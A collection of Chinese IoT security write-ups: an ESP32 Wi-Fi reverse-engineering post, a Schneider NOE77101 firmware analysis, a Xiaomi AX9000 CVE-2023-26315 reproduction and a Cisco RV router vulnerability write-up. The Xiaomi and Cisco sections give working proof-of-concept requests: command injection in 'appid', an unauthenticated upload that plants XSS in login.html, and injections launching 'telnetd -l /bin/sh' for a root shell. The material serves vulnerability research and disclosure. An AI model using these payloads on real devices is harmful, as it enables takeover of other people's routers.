我们在 ESP32 上实现了这一点,通过从 Scapy 复制数据包并在 C 源代码中硬编码数据包内容。为了确保我们能够区分 ESP32 和 Scapy 实现,我们将用于测试的适配器的 MAC 地址替换为一个任意的 MAC 地址( `01:23:45:67:89:ab`)。当我们发送数据包时,我们看到收到了一个 ACK 帧作为我们认证的响应,但我们没有从 AP 收到认证应答。更奇怪的是,ACK 是针对一个不同的 MAC 地址: `00:23:45:67:89:ab`。
|
||||
|
||||
显然,MAC 地址不仅仅是 6 个任意字节,其中前 3 个字节是供应商特定的:第一个字节的最后一位指示数据包是单播还是多播。通过使用 `01:...` MAC 地址,我们发送了多播数据包而不是单播数据包。
|
||||
|
||||
在通过使用不同的 MAC 地址修复此问题后,我们开始从接入点接收数据帧。由于我们没有实现发送 ACK,因此我们从接入点接收到了每个数据帧 4 次:因为接入点没有收到任何 ACK,它会假设数据包没有正确接收。那时,这并不是问题:接入点会愉快地继续进行关联请求和响应。
|
||||
|
||||
然而,当我们开始发送数据包时,我们立即开始收到来自接入点的解除关联帧作为对我们数据包的回复。唯一的区别在于(有效的)Scapy 实现和当前的 ESP32 实现之间,就是没有发送确认(ACK);所以我想实现这一点毕竟是必要的。
|
||||
|
||||
在软件中发送 ACK 帧并不像看起来那么简单:ACK 帧需要在接收到的帧最后一个符号之后恰好一个 SIFS(短帧间隔)时间段内发送。对于 802.11b,SIFS 仅为 10 微秒;通过硬件和软件的往返时间已经超过 10 微秒,因此我们无法在软件中实现这一点。专有网络栈确实会发送 ACK 帧,因此必须以某种方式实现这一点。实际上,发送 ACK 是在硬件中实现的:通过写入一个内存映射的 IO 地址,您可以配置一个 MAC 地址,硬件将自动发送 ACK。
|
||||
|
||||
在实施这一点后,我们在监听 UDP 数据包的计算机上收到了第一个数据包 🎉
|
||||
|
||||

|
||||
成功接收由 ESP32 发送的第一个数据包
|
||||
|
||||
由于我们现在自己实现中断,我们可以发送和接收帧,而无需任何专有代码 运行(专有代码仍然用于初始化硬件,但在此之后不再需要)。
|
||||
|
||||
当前将数据包内容硬编码的方式适用于证明我们可以连接到 AP 并发送数据包,但不适合我们的最终目标。我们正在寻找一个开源实现,处理 802.11 MAC 层的更高层功能(构建和解析数据包,知道何时发送哪些数据包等)。对于更高层,我们可以在 ESP32 上使用现有的 lwIP TCP/IP 栈。
|
||||
|
||||
所有代码都可以在esp32-open-mac GitHub 组织上找到。
|
||||
|
||||
# 路线图
|
||||
- ☑ 发送数据包
|
||||
- ☑ 接收数据包
|
||||
- ☑ 如果我们收到一个发往我们的数据包,则发送确认(ACK)数据包返回
|
||||
- ☑ 基于 MAC 地址实施硬件过滤,以减少接收到的数据包数量
|
||||
- ☐ 找到或构建一个开源的 802.11 MAC 实现,以构造我们想要发送的数据包。Linux 内核有 mac80211,但包含完整的 Linux 内核似乎不可行。这并不是 ESP32 特定的;我们理想的情况是找到一个可以传递自定义 TX 和 RX 函数的实现,它们会处理其余的工作。
|
||||
- ☐ 实施更改 wifi 频道、速率、发射功率等…
|
||||
- ☐ 实现硬件初始化(现在由 `esp_phy_enable()` 完成)。这将是一项艰巨的任务,因为所有的校准例程都需要实现,但也有很高的回报:我们将拥有一个完全无 blob 的 ESP32 固件。
|
||||
- ☐ 为所有反向工程的寄存器编写 SVD 文档。SVD 文件是一个描述微控制器硬件特性的 XML 文件,这使得可以从硬件描述自动生成 API。Espressif 已经有一个包含已记录硬件寄存器的 SVD 文件;我们可以记录未记录的寄存器并(自动)合并它们。
|
||||
|
||||
实现硬件初始化和将我们的发送和接收原语连接到开源 802.11 MAC 栈是两个最困难(但最重要)的任务。
|
||||
|
||||
# 奖金:夏洛特打破了一切
|
||||
夏洛特播放音乐完全破坏了设置:我们黑客空间的音乐设置通过 RTP(实时传输协议)工作。在底层,RTP 发送包含音频数据的 UDP 数据包到一个多播地址;因此,这些数据包也通过 Wi-Fi 传输。由于每秒有大量数据包,接收缓冲区总是满的,其他数据包很少能够被接收/确认。这使得很明显,硬件过滤需要尽快实施;逆向工程的工作量并没有预期的那么大。
|
||||
|
||||
硬件过滤似乎有两个“插槽”,每个插槽可以根据目标 MAC 地址和 BSSID 进行过滤(不确定是否可以在每个插槽中同时进行两者过滤,或者必须选择其一)。默认情况下,硬件不会允许任何数据包通过。只有当数据包通过其中一个过滤器并被复制到 RX DMA 缓冲区时,硬件才会发送 ACK 帧:由于混杂模式而被复制到 RX DMA 缓冲区的数据包不会导致发送 ACK 帧。
|
||||
|
||||
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与技术交流之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,50 @@
|
||||
# 对施耐德NOE77101固件浅析
|
||||
> BurYiA
|
||||
> 来源:https://www.iotsec-zone.com/article/151
|
||||
|
||||
拿到固件后binwalk查看一下相关信息(wwwroot/conf/exec/NOE77101.bin)
|
||||

|
||||
|
||||
发现没有什么可利用信息后直接进行提取文件
|
||||
|
||||
最终发现有两个文件,并且其中一个是vxworks系统文件
|
||||

|
||||
|
||||
在末尾也可以看到使用的VxWorks的内核版本为2.5,并且自带了符号表
|
||||
|
||||
binwalk -A 查一下架构
|
||||

|
||||
可以看到是ppc架构大端
|
||||
|
||||
ida32打开固件进行分析,选择ppc架构
|
||||

|
||||
加载基址目前可以先不用管(不知道),一路回车即可
|
||||

|
||||
|
||||

|
||||
进入后发现由于ida不知道入口点在哪儿,所以一个函数也没有识别出来
|
||||
|
||||
结合VxWorks的官方文档可以知道vxworks最开始的代码时对栈进行初始化,完成后会跳转到usrInit,即vxworks系统引导完成后的第一个函数。我们来对最凯斯的代码进行分析
|
||||
|
||||
首先在最开始处按c使ida将最开始的数据识别成函数
|
||||

|
||||
|
||||
结合刚才所知内容与汇编代码相结合分析,最后跳转的loc_1CD94应该为usrInit函数,它上面有两个操作:1.设置r1=0x00010000,2.设置r3=0
|
||||
r1寄存器为ppc中的栈寄存器,r3则是参数寄存器
|
||||

|
||||
|
||||
由此可知栈在一开始便被抬高了0x10000,加载偏移即为0x10000
|
||||
关闭ida,清除数据库重新打开固件
|
||||
在设置加载基址后一路回车即可
|
||||

|
||||
|
||||
但是此时IDA还是不能很好的识别出所有函数,和之前的差别不大,所以考虑使用vxhunter脚本来进行恢复,将py3版本的脚本下载好后放入ida的plugins目录中进行使用
|
||||

|
||||
|
||||

|
||||
可以看到识别出的基址和我们之前计算得到的是一致的,并且之后还会自动识别函数以及对函数名进行恢复
|
||||

|
||||
(PS:最终还利用了FirmwareFix插件来对字符串进行恢复)
|
||||
|
||||
最终在usrAppInit发现有硬编码账户的存在(vxWorks提供了一个用户接口usrAppInit,所以可以直接从该函数看起)
|
||||

|
||||
@@ -0,0 +1,188 @@
|
||||
# 小米AX9000路由器CVE-2023-26315漏洞复现
|
||||
> Fizzl
|
||||
> 来源:https://www.iotsec-zone.com/article/495
|
||||
|
||||
## 漏洞概要
|
||||
|
||||
### 受影响版本
|
||||
|
||||
- 固件版本 ≤ 1.0.168
|
||||
|
||||
### 漏洞类型
|
||||
|
||||
- 授权后命令注入漏洞
|
||||
|
||||
### 风险等级
|
||||
|
||||
- CVSS 3.1评分:8.8(High)
|
||||
- 影响范围:机密性/完整性/可用性全破坏
|
||||
|
||||
### 漏洞机理
|
||||
|
||||
小米`AX9000`路由器在`1.0.168`版本及之前存在二进制漏洞(命令注入),该漏洞由于未对非法的`appid`做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后,可在远程目标设备上执行任意命令,并获得设备的最高控制权,造成权限提升。
|
||||
### 环境搭建
|
||||
|
||||
固件下载地址:[固件下载](https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra70/miwifi_ra70_firmware_cc424_1.0.168.bin)
|
||||
|
||||
小米`AX9000`路由器固件是`AArch64el`架构的,我这里因为使用的mac的m芯片,就是arm64的,加上提前安装了ubuntu、arm的虚拟机,我这里 就直接在虚拟机中模拟起手,
|
||||
|
||||
解压后,直接文件夹内进行挂载,
|
||||
|
||||
```
|
||||
mount --bind /proc proc
|
||||
mount --bind /dev dev
|
||||
chroot . /bin/sh
|
||||
```
|
||||
|
||||

|
||||
### 启动httpd服务
|
||||
|
||||
这里有三个http程序,uhttpd,mihttpd,sysapihttpd。查看`/etc/sysapihttpd/sysapihttpd.conf`发现就是nginx,并且监听了80端口,
|
||||
|
||||
根据`openwrt`的内核初始化流程,按理说应该先启动`/etc/preinit`,其中会执行`/sbin/init`进行初始化,但是在这套固件仿真的时候,这样会导致`qemu`重启,所以我们首先先执行`/sbin/init`中最重要的`/sbin/procd &`,启动进程管理器即可。
|
||||
|
||||

|
||||
这里我们直接启动`sysapihttpd`即可,`/etc/init.d/sysapihttpd start`
|
||||
|
||||

|
||||
`Failed to connect to ubus`这里有报错这里是用到了`ubus`总线通信,我们需要启动`/sbin/ubusd &`再去start http程序,启动成功,且`netstat`查看`web`端口也正常对外开放,这里的nvram我们暂时用不到,就先不管,
|
||||
|
||||

|
||||
|
||||

|
||||
访问一下,成功模拟,
|
||||
|
||||

|
||||
因为我这里前面已经设置过密码了,所有让我们直接密码登录,
|
||||
|
||||
由于该漏洞是需要登录授权的,所以我们得看一下后端的密码校验是怎么写的,这里需要分析一下
|
||||
|
||||
身份校验的过程在`/usr/lib/lua/luci/dispatcher.lua`的`jsonauth`函数中,其中调用了`checkUser`函数根据从`POST`报文中获取的`username`,`password`和`nonce`(现时)字段进行身份验证。
|
||||
|
||||
在`/usr/lib/lua/xiaoqiang/util/XQSecureUtil.lua`的`checkUser`函数中,首先获取了系统`uci`配置项中存储的密码,这里的`XQPreference.get`函数在本文的上一节中已经给出,可分析出此处的配置项为`account.common.(用户名)`。接着,需要`POST`报文中传入的现时字段`nonce`与系统中`uci`存储的`password`的值拼接后进行`sha1`哈希的结果等于`POST`报文中传入的密码字段。
|
||||
|
||||
到这里我们清楚了后端的鉴权方式,我们去前端js里看一下是怎么构建登录的用户名和密码的,
|
||||
|
||||

|
||||
|
||||

|
||||
这里可以看到固定的用户名就是admin,
|
||||
|
||||
而密码字段是通过`oldPwd()`函数加密后的结果。这里的`oldPwd()`函数将用户提交的密码明文与一个固定的`key`值(`a2ffa5c9be07488bbb04a3a47d3c5f6a`)拼接后,进行`sha1`哈希,再将结果继续与现时`nonce`拼接后,再`sha1`哈希一次,作为`POST`请求报文中的密码字段
|
||||
|
||||
结合上述分析,我们需要将`account.common.admin`这个`uci`配置项设置为`sha1(登录密码+key)`,比如说登录密码设置为`fizzl`,那么这个值就是`sha1(fizzla2ffa5c9be07488bbb04a3a47d3c5f6a)=b718c7808f4a1caac7dfab110f12865807cbf40b`。
|
||||
|
||||
```
|
||||
uci set account.common.admin=b718c7808f4a1caac7dfab110f12865807cbf40b
|
||||
uci commit
|
||||
```
|
||||
登录成功,token也有了,(后面exp里面会用到)
|
||||
|
||||

|
||||
### 漏洞复现
|
||||
|
||||
在反编译的`/usr/lib/lua/luci/controller/api/xqdatacenter.lua`中,可以看到 URL `/api/xqdatacenter/request` 相关的`handler`函数是`tunnelRequest`函数,且这里只能通过admin用户请求访问,我们默认的账户就是admin,
|
||||
|
||||
默认是加密混淆过的lua,我们需要用到[luadec_miwifi](https://github.com/NyaMisty/luadec_miwifi)
|
||||
|
||||

|
||||
接着分析`tunnelRequest`函数,看看进行了什么操作,
|
||||
|
||||
加载模块:
|
||||
使用 `require` 导入了 xiaoqiang.util.XQCryptoUtil 和 luci.util 模块。
|
||||
获取表单数据:
|
||||
从表单中获取名为 `payload` 的数据。
|
||||
加密数据:
|
||||
使用 `binaryBase64Enc` 函数对获取的 payload 数据进行 `Base64` 编码。
|
||||
生成通信数据:
|
||||
获取 `THRIFT_TUNNEL_TO_DATACENTER`,并用编码后的数据 L1 进行某种运算(可能是对通信数据的处理)。
|
||||
执行命令:
|
||||
使用 `luci.util.exec` 执行带有加密数据的系统命令。
|
||||
关键在于此处用的是 **`formvalue_unsafe`函数** 获取`payload`字段内容,未过滤危险字符,
|
||||
|
||||

|
||||
在`/usr/lib/lua/xiaoqiang/common/XQConfigs.lua`中,可以找到`THRIFT_TUNNEL_TO_DATACENTER`的相关定义:
|
||||
|
||||

|
||||
这里 我们跟进用法发现`THRIFT_TUNNEL_TO_DATACENTER`所指代的命令为`thrifttunnel 0 '%s'`。因此,最终所执行的完整命令是`thrifttunnel 0 'base64编码的payload字段'`,即`payload`字段中被`Base64`编码后的`Json`数据会被传入`thrifttunnel`程序中,且`option`为`0`。
|
||||
|
||||
接着我们去找一下`thrifttunnel`这个文件,最终在/usr/sbin/`thriftunnel`二进制文件中找到了,拖进IDA分析一下,
|
||||
|
||||
这里的a2就是我们前面base64编码的payload字段,其作为第一个参数被传入`sub_1B9B0`函数中,这里的v12此时是空字符串,
|
||||
|
||||

|
||||
进入`sub_1B9B0`函数后,可以发现首先将与`a1`(`Base64`编码的`payload`字段)相关的数据作为参数传入了`sub_1F1F8`函数处理,并最终将其返回结果通过`string::assign()`赋值给了`a2`(即上一级的`v12`变量)。
|
||||
|
||||

|
||||
`sub_1F1F8`进去后根据大概逻辑,其实就是对我们最开始的值,进行了解码操作,
|
||||
|
||||

|
||||
到这里我们再回到主函数,*(a2 + 8)即传入的第一个参数`option`为`0`时,(就是在lua脚本中的参数)会进入`sub_1BAE0`函数,这里的v12可以值得就是我们上一步进行解码后的pyload字段,回传给了v12,
|
||||
|
||||

|
||||
这里我们继续跟进`sub_1BAE0`函数看看做了什么操作,在`sub_1BAE0`函数中,大概是做了网络套接字进行交互,这里可以看到其实就是创建了`socket`,然后将数据发送到localhost的9090端口,那么v2其实就是我们上一步传进来的解码后的pyload字段,
|
||||
|
||||

|
||||
这里由于我们的数据被传到了`datacenter`程序进一步处理,我们继续去看datacenter文件,这里的datacenter程序一直监听着9090端口,
|
||||
|
||||

|
||||
`constructAPIMappingTable` 函数的作用:
|
||||
|
||||
依次调用三个类的静态方法来构建不同类型的 API 映射表(存储 API、下载 API 和插件 API),函数返回 `datacenter::PluginApiCollection::sConstructMappingTable(a1)` 的结果,其实就是`constructAPIMappingTable()`函数里分别执行了三个类的`sConstructMappingTable()`函数
|
||||
|
||||

|
||||
其中,都是通过`STL map`建立起了`api`编号(下文解释)和对应的处理函数`handler`间的映射关系。具体来看,有一些`api`是直接在`datacenter`中被处理的,有些是被进一步转发到了`/usr/sbin/indexservice`(`9088`端口)处理,另外一些则是被转发到了`/usr/sbin/plugincenter`(`9091`端口)中进一步处理。
|
||||
|
||||
我们这里进入到函数中可以看到,当`api`为629的时候对应的方法就是`callPluginCenter`,那么就是给到这个函数了吧,我们接着去跟进一下,
|
||||
|
||||

|
||||
`callPluginCenter` 是一个高层的封装函数,理数据的准备Thrift 客户端的通信功能以及处理返回数据。`ThriftClient::sCallPluginCenter `是与插件中心进行实际通信的低层函数,负责建立连接、发送请求、接收响应并返回结果。
|
||||
|
||||

|
||||
|
||||

|
||||
这里就是把我们的数据转发到了本地的9091端口上,
|
||||
|
||||
在`DataCenterHandler::request`函数中,在调用`APIMapping::APIMapping`函数建立好上述的映射关系表后,紧接着调用了`APIMapping::redirectRequest`函数。其中,先获取了`Json`对象中的`api`字段的值,存放在`v8`变量中,然后经历了一个`for`循环,其中有对`v8`值的判断比较,最后执行了一个函数指针。
|
||||
|
||||

|
||||
我们回到正题,前面知道了当`api`为`629`时,传入的`payload`字段的数据会被转发给`plugincenter`程序处理。所以我们继续跟进,最后找到了`/usr/sbin/plugincenter`,
|
||||
|
||||
在main中找到`datacenter::PluginApiMappingExtendCollection::sConstructMappingTable`函数,仍然是通过`map`建立了`api`编号和对应`handler`函数的映射关系。可以看到,当`api`编号为`629`的时候,会执行到`parseGetIdForVendor`函数进行处理。
|
||||
|
||||

|
||||
在`parseGetIdForVendor`函数中,会将传入的`Json`数据内的`appid`字段作为参数传递到`PluginApi::getIdForVendor`函数中。
|
||||
|
||||

|
||||
在`PluginApi::getIdForVendor`函数中,虽然有使用 `AppAccountManager::IsValidAppId(&v11, a1)` 来验证传入的 `appid`(`a1`)是否合法,但是,如果验证失败(`IsValidAppId` 返回 `false`)则会执行一系列处理:即使应用 ID 无效,代码仍会继续执行以下步骤:构造一个命令行字符串并通过 `CommonUtils::sCallSystem` 执行,那么很明显,这里存在命令注入。
|
||||
|
||||
### Poc:
|
||||
```
|
||||
import requests
|
||||
|
||||
server_ip = "192.168.1.193"
|
||||
token = "04e524882aa6f6a1f60b2c72c52ebcec"
|
||||
exp = ";ps > 1.txt ;"
|
||||
|
||||
res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + exp + '"}'})
|
||||
|
||||
print(res.text)
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 漏洞链
|
||||
|
||||
大概流程:
|
||||
|
||||
1. 通过鉴权后的请求(需要admin权限的token)调用/api/xqdatacenter/request。
|
||||
2. payload中的JSON数据被Base64编码后作为参数传递给thrifttunnel命令。
|
||||
3. thrifttunnel解码数据并转发到datacenter的9090端口。
|
||||
4. datacenter根据api字段的值629将请求转发到plugincenter的9091端口。
|
||||
5. plugincenter中的parseGetIdForVendor函数处理appid参数时,未正确验证并在检查失败后继续执行命令,导致注入。
|
||||
|
||||
### 参考:
|
||||
[https://bbs.kanxue.com/thread-282034.htm](https://bbs.kanxue.com/thread-282034.htm)
|
||||
@@ -0,0 +1,326 @@
|
||||
# 思科企业级路由器0day漏洞挖掘(水漏洞版)
|
||||
> winmt
|
||||
> 来源:https://www.iotsec-zone.com/article/383
|
||||
|
||||
# 思科企业级路由器0day漏洞挖掘
|
||||
|
||||
## 前言
|
||||
|
||||
> 写这篇文章的初衷是因为有很多师傅问我:零基础小白该如何入手挖设备的二进制洞?很多师傅也许会觉得这是一件很困难的事情。读了这篇文章之后,我相信大家应该能体会到即使像思科这种全球头部大厂也是有很多很水的洞是可以很容易挖到的。
|
||||
|
||||
今年年初2月份的时候,笔者对美国思科`RV`系列部分型号的企业级网关路由器进行了漏洞挖掘,并拿到了多份思科官方的致谢以及获批了多个中高危的`CVE`漏洞编号。
|
||||
|
||||
笔者在此借这篇文章选择了五个漏洞,简单分享一下这些漏洞的细节以及相关漏洞挖掘经验。由于时间仓促,事情也比较多,笔者之前仅选择了较新的`RV34x`以及`RV32x`系列(和类似的`RV0xx`系列)设备最新固件对浅层的漏洞进行了挖掘,并未深入,主打一个水编号和混致谢。
|
||||
|
||||
希望本文能够给刚入门`IoT`安全,想要挖洞但不知如何入手的师傅们带来些帮助。由于篇幅有限,固件仿真模拟等相关内容就不展开了,师傅们可以自行尝试。最后也请各位大师傅们看到我的垃圾洞轻喷。
|
||||
|
||||
更多可公开的低质量垃圾漏洞:[https://github.com/winmt/my-vuls](https://github.com/winmt/my-vuls "https://github.com/winmt/my-vuls"),品相较好的洞后面也许会写文章再放出来相关细节。
|
||||
|
||||
## CVE-2023-20073
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
`Cisco RV340`,`RV340W`,`RV345`和`RV345P`型号的企业路由器最新版固件中存在一个**未授权任意文件上传漏洞**,未授权攻击者可通过该漏洞上传并覆写文件,造成存储型`XSS`攻击等危害。
|
||||
|
||||
思科安全通告:[https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv-afu-EXxwA65V.html](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv-afu-EXxwA65V.html "https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv-afu-EXxwA65V.html")
|
||||
|
||||

|
||||
|
||||
### 漏洞细节
|
||||
|
||||
在配置文件`/etc/nginx/conf.d/rest.url.conf`中,我们注意到当访问`/api/operations/ciscosb-file:form-file-upload`的时候,仅仅检查了 **`Authorization`字段是否为空**。
|
||||
|
||||

|
||||
|
||||
如果`Authorization`字段不为空,我们可以上传文件到`/tmp/upload`文件夹,并最终通过`/form-file-upload`调用`uwsgi`去执行`upload.cgi`。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
在二进制文件`/www/cgi-bin/upload.cgi`中,首先对`multipart/form-data`表单类型的`POST`请求报文进行了解析,通过`boundary=`获取分隔符。
|
||||
|
||||

|
||||
|
||||
接着,将`POST`报文中的字段存入相关变量中。例如,`pathparam`和`fileparam`字段的内容被存入了`v30`和`v31`变量中。
|
||||
|
||||

|
||||
|
||||
然后,通过分离`Cookie`中的`sessionid=xxx`获得`session`值。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
然而,我们可以直接**不经过`session`值的校验检查**就进入`sub_115EC`函数(这里第一个参数是`pathparam`字段,第三个参数是`fileparam`字段)。
|
||||
|
||||

|
||||
|
||||
在`sub_115EC`函数中, 当`a1`(即`pathparam`字段的内容)为`Portal`时,**我们可以强制移动之前未经授权上传的文件到`/tmp/www`目录下**。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
此外,在`/www`目录下,`index.html`和`login.html`文件都是`/tmp/www`目录下同名文件的软链接。
|
||||
|
||||

|
||||
|
||||
总之,攻击者可以通过该漏洞**不经过权限验证上传任意文件并覆写`login.html`,`index.html`和其他配置文件**,造成如存储型`XSS`攻击的危害。
|
||||
|
||||
### Poc
|
||||
|
||||
按照上文漏洞细节描述,容易写出如下攻击报文:
|
||||
|
||||
```
|
||||
------hacked-by-winmt------
|
||||
Content-Disposition: form-data; name="pathparam"
|
||||
|
||||
Portal
|
||||
------hacked-by-winmt------
|
||||
Content-Disposition: form-data; name="fileparam"
|
||||
|
||||
login.html
|
||||
------hacked-by-winmt------
|
||||
Content-Disposition: form-data; name="file"; filename="login.html"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<title>Hacked by winmt!</title>
|
||||
<script>alert('Hacked by winmt!')</script>
|
||||
------hacked-by-winmt------
|
||||
```
|
||||
|
||||
### 攻击演示
|
||||
|
||||
攻击前,访问`/login.html`页面正常。
|
||||
|
||||

|
||||
|
||||
按照上述`Poc`,覆写`login.html`为如下内容攻击(尽管显示`Error Input`,攻击仍然是成功进行的)。
|
||||
|
||||
```
|
||||
<title>Hacked by winmt!</title>
|
||||
<script>alert('Hacked by winmt!')</script>
|
||||
```
|
||||
|
||||

|
||||
|
||||
攻击后,访问`/login.html`页面,可以看到页面已被我们任意篡改,造成了存储型`XSS`攻击。
|
||||
|
||||

|
||||
|
||||
## CVE-2023-20117
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
`Cisco RV320`和`RV325`系列企业级路由器最新固件中存在一个**命令注入**漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
|
||||
|
||||
思科安全通告:[https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html "https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html")
|
||||
|
||||

|
||||
|
||||
### 漏洞细节
|
||||
|
||||
在二进制文件`/usr/local/EasyAccess/www/cgi-bin/ssi.cgi`的`NK_UiConfNeedPasswd`函数中,对`md5_password`字段过滤不严,并**没有过滤`\n`和`\r`命令分隔符**。
|
||||
|
||||

|
||||
|
||||
之后,在满足判断条件后,`md5_password`将会被拼接入`acStack_340`变量中,并直接作为命令被`system`函数执行。
|
||||
|
||||
简单查找一下关键字,即可知道该漏洞触发的入口在`/sys_setting.htm`:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Poc
|
||||
|
||||
访问`/sys_setting.htm`并触发`refresh`操作时抓包,将`POST`报文中`md5_password`字段内容修改如下(表单数据直接换行即可):
|
||||
|
||||
```
|
||||
11
|
||||
telnetd -l /bin/sh
|
||||
```
|
||||
|
||||
### 攻击演示
|
||||
|
||||
按上述`Poc`发送请求报文,开启`telnet`服务:
|
||||
|
||||

|
||||
|
||||
直接通过`telnet`远程登录,获得`root shell`:
|
||||
|
||||

|
||||
|
||||
## CVE-2023-20118
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
> 这其实是一组漏洞,相似的有很多,不过只统一分配了一个`CVE`编号,笔者这里也随便挑选一个来分析。
|
||||
|
||||
`Cisco RV320`和`RV325`系列(以及`RV016, RV042, RV042G, RV082`系列)企业级路由器最新固件中存在一个**命令注入**漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
|
||||
|
||||
思科安全通告:[https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sbr042-multi-vuln-ej76Pke5.html](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sbr042-multi-vuln-ej76Pke5.html "https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sbr042-multi-vuln-ej76Pke5.html")
|
||||
|
||||

|
||||
|
||||
### 漏洞细节
|
||||
|
||||
该漏洞存在于 **`/usr/local/EasyAccess/www/cgi-bin/config.exp`**二进制文件中,并同样存在于相似的**`/usr/local/EasyAccess/www/cgi-bin/config_mirror.exp`**文件中。
|
||||
|
||||
在主函数中,可见当我们的请求中包含`export_cert&`字符串时,将进入`exportconfig_CertFile`函数。
|
||||
|
||||

|
||||
|
||||
在`exportconfig_CertFile`函数中,当最后一个`&`后面的内容是`MY_CA`, 第二个和第三个`&`之间的内容将会被拼接入`acStack1088`变量,并作为`system`函数的参数执行命令。
|
||||
|
||||

|
||||
|
||||
### Poc
|
||||
|
||||
然而,在实际测试中,我们发现这些设备**过滤(转义)了空格**,不过可以用**`${IFS}`**来代替。
|
||||
|
||||
以`POST`请求向`https://192.168.1.1/cgi-bin/config.exp?export_cert&abc&;/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh;&abc&MY_CA`发送任意内容的报文。
|
||||
|
||||
或者:以`POST`请求向`https://192.168.1.1/cgi-bin/config_mirror.exp?export_cert&abc&;/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh;&abc&MY_CA`发送任意内容的报文。
|
||||
|
||||
### 攻击演示
|
||||
|
||||
按照上述`Poc`发送请求报文:
|
||||
|
||||

|
||||
|
||||
攻击后,可以通过`telnet`远程登录设备并获得了设备的最高控制权:
|
||||
|
||||

|
||||
|
||||
## CVE-2023-20128
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
`Cisco RV320`和`RV325`系列企业级路由器最新固件中存在一个**命令注入**漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
|
||||
|
||||
思科安全通告:[https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html "https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sb-rv32x-cmdinject-cKQsZpxL.html")
|
||||
|
||||

|
||||
|
||||
### 漏洞细节
|
||||
|
||||
该漏洞存在于**`/usr/local/EasyAccess/www/cgi-bin/import_config.cgi`**二进制文件中。
|
||||
|
||||
在`main`函数中,`POST`报文中的前两个表单数据字段通过两组`fgets`函数读取(每组读取四行,作为表单数据字段)。当`form-data`的第一个字段为`1`时,第二个字段中`;`之后的内容被拼接入` acStack1144`变量中,并作为参数传递给`upgradefromusb`函数。
|
||||
|
||||

|
||||
|
||||
在`upgradefromusb`函数中,首先通过`FUN_120003860`函数在传递的参数中`(`和`)`之前添加`\`转义(不过对该漏洞利用并没有影响)。然后,将处理后的内容直接拼接入`acStack808`变量中,并作为`system`的参数执行,而未进行任何检查。
|
||||
|
||||

|
||||
|
||||
综上,攻击者**可以在`POST`请求报文中表单数据的第二个字段的`;`后面注入任意命令并执行**。
|
||||
|
||||
### Poc
|
||||
|
||||
发送如下`POST`请求报文即可(注意用`${IFS}`代替空格):
|
||||
|
||||
```
|
||||
POST /cgi-bin/import_config.cgi HTTP/1.1
|
||||
Host: 192.168.1.1
|
||||
Cookie: mlap=ZfRSjTJvVhNsYLzAUrxDcg==
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: multipart/form-data; boundary=---------------------------16897455311731203775484527323
|
||||
Content-Length: 330
|
||||
Origin: https://192.168.1.1
|
||||
Referer: https://192.168.1.1/sys_setting.htm
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Sec-Fetch-Dest: document
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-User: ?1
|
||||
Te: trailers
|
||||
Connection: close
|
||||
|
||||
-----------------------------16897455311731203775484527323
|
||||
Content-Disposition: form-data; name="submitrestoreconfig"
|
||||
|
||||
1
|
||||
-----------------------------16897455311731203775484527323
|
||||
Content-Disposition: form-data; name="USBconfigfile"
|
||||
|
||||
USB1;;telnetd${IFS}-l${IFS}/bin/sh;
|
||||
-----------------------------16897455311731203775484527323--
|
||||
```
|
||||
|
||||
### 攻击演示
|
||||
|
||||
发送上述`Poc`报文:
|
||||
|
||||

|
||||
|
||||
攻击后,可远程登录设备并获得`root`权限:
|
||||
|
||||

|
||||
|
||||
## 某内部已知漏洞
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
> `Cisco RV0xx`系列的设备和`Cisco RV32x`系列的设备固件部分结构相似,于是我也看了下,不过这个漏洞在上报之后得到了厂商的回复:这是一个内部已知的漏洞。个人感觉这个漏洞的绕过相对前几个还复杂些,没想到反而撞洞了2333
|
||||
|
||||
